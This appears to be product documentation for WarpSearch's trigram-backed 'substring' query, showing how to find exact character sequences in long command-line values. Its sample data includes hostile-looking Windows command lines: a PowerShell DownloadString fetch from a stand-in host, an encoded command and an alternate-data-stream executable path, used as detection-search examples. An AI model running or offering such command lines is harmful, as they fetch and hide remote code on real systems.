# Substring search

Some searches need the exact characters, punctuation included, anywhere in a value:
`downloadstring(` in a command line, `notes.txt:evil.exe` in a path, a marker 300 bytes into a
log line. Word-based analyzers drop the punctuation, and ordinary wildcard and regex queries run
over indexed terms, which have two problems here: a pattern that starts with `*` reads the whole
dictionary, and a term is cut at 255 bytes, so the end of a long value cannot be matched at all.

The `trigram` analyzer and the `substring` query solve both, as Elasticsearch's `wildcard` field
type does. The field keeps each complete value in a column, and a
[variant](schemas-and-fields.md#variants) indexes every three-character sequence (trigram) of it.
A `substring` query looks up the trigrams the pattern requires to find candidates, then checks
each candidate's full value against the pattern, so results are exact and values of any length
match completely.

## Set up the field

The field is a `string` kept only as a column (`"index": "none"`), with a `tri` variant analyzed
by `trigram`:

```json
{
  "fields": {
    "cmd": {
      "type": "string",
      "index": "none",
      "column": true,
      "variants": {"tri": {"type": "text", "analyzer": "trigram"}}
    },
    "host_s": {"type": "string"}
  }
}
```

The column must not be indexed (`index: none`): an indexed string keeps term ordinals rather than
values, and is subject to the 255-byte term limit. Sorting and returning `cmd` use the column.
Query it with `substring`; the `cmd__tri` grams are not useful to query directly.

A multi-valued field (`"multi": "set"`) matches when any one value matches. A pattern does not
match across two values.

## Query

`substring` is written in Elasticsearch Query DSL. On the WarpSearch API set `"language": "es"`;
on the [Elasticsearch](compat-elasticsearch.md) and [OpenSearch](compat-opensearch.md) endpoints
use it like any other query.

With these documents:

```json
[
  {"id": "t1", "host_s": "h1", "cmd": "powershell.exe -c (New-Object Net.WebClient).DownloadString('http://example.test/a.ps1')"},
  {"id": "t2", "host_s": "h2", "cmd": "PowerShell -EncodedCommand JABjAG0AZAAgAD0AIAAxAA=="},
  {"id": "t3", "host_s": "h1", "cmd": "cmd /c type C:\\Users\\bob\\notes.txt:evil.exe"},
  {"id": "t4", "host_s": "h1", "cmd": "rundll32.exe shell32.dll,Control_RunDLL"},
  {"id": "t5", "host_s": "h2", "cmd": "xabc ybcd"}
]
```

```bash
curl -X POST https://api.warpsearch.io/v1/collections/processes/search \
  -H "Authorization: Bearer $WARPSEARCH_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "language": "es",
    "query": {"substring": {"field": "cmd", "contains": "downloadstring("}},
    "fields": ["id"]
  }'
```

| Query | Matches |
|---|---|
| `{"substring": {"field": "cmd", "contains": "downloadstring("}}` | t1 |
| `{"substring": {"field": "cmd", "prefix": "powershell"}}` | t1, t2 |
| `{"substring": {"field": "cmd", "suffix": ".exe"}}` | t3 |
| `{"substring": {"field": "cmd", "wildcard": "*powershell*-enc*"}}` | t2 |
| `{"substring": {"field": "cmd", "regex": "(cmd\|rundll32).*"}}` | t3, t4 |
| `{"substring": {"field": "cmd", "regex": ".*downloadstring\\(.*"}}` | t1 |
| `{"substring": {"field": "cmd", "contains": "abcd"}}` | none: t5 has `abc` and `bcd`, but not together |
| `{"substring": {"field": "cmd", "contains": "PowerShell", "case_insensitive": false}}` | t2 |

| Param | Meaning |
|---|---|
| `field` | The column-only string field. Required. |
| `contains`, `prefix`, `suffix` | Literal text, punctuation included, anywhere in, at the start of, or at the end of the value. |
| `wildcard` | A wildcard pattern over the whole value: `*` any characters, `?` one character, `\` escapes. |
| `regex` | A regular expression over the whole value, without `/` delimiters or `^` and `$` anchors. Wrap it in `.*` to match anywhere. |
| `case_insensitive` | Default `true`. `false` matches the pattern's case exactly. |
| `grams` | The trigram variant. Default `<field>__tri`. |

Give exactly one of `contains`, `prefix`, `suffix`, `wildcard` and `regex`. `substring` counts as
a wildcard query for your plan, and as a regex query with `regex`: plans without them get
`403 forbidden`. See [Limits and errors](limits-and-errors.md). Every match has the same score, which `boost` scales. `substring` has no Lucene or SQL form.

## Combine with filters

Put cheap, selective clauses beside `substring`. They remove candidates before their values are
read:

```json
{
  "language": "es",
  "query": {"bool": {"filter": [
    {"term": {"host_s": "h1"}},
    {"substring": {"field": "cmd", "contains": "downloadstring("}}
  ]}},
  "fields": ["id"]
}
```

This returns t1.

## Long values

A value is matched in full whatever its length. A 349-byte command line that ends in
`;; tailmarker-zq9` is found by `{"substring": {"field": "cmd", "contains": "tailmarker-zq9"}}`,
while a wildcard on an indexed string cannot see past the first 255 bytes.

## Patterns without three literal characters

A pattern needs a run of three literal characters for the trigrams to narrow the candidates.
`{"contains": "ab"}` or the regex `.*\.[a-z0-9]{3}:.*\.[a-z]{3}` (which finds t3's
`notes.txt:evil.exe`) have none, so every value of the field is checked. Results stay exact, but
the query reads every document that has a value: add selective filters, such as a host or a time
range. Prefixes and suffixes are anchored, so `{"prefix": "ab"}` can still narrow.

Alternation works when every branch has a long enough run: `(cmd|rundll32).*` looks up the
trigrams of both words.

## Costs and limits

- The grams add about one indexed term per character of every value. Expect the variant to be
  several times the size of the values, and more indexing work than ordinary text.
- Case-insensitive matching uses simple case folding: a letter whose case forms differ in length,
  such as `ß` and `SS`, may be missed.
- The `trigram` tokenizer has params `n` (2 to 5, default 3) and `case_fold` (default `true`).
  Keep the default preset unless you have measured a reason not to.

## Through Elasticsearch

The Elasticsearch `wildcard` field type is mapped to an ordinary `keyword` field today, so
`wildcard` and `regexp` queries on it keep the 255-byte limit. To get substring matching over full
values, create the field with the WarpSearch schema above and query it with `substring`.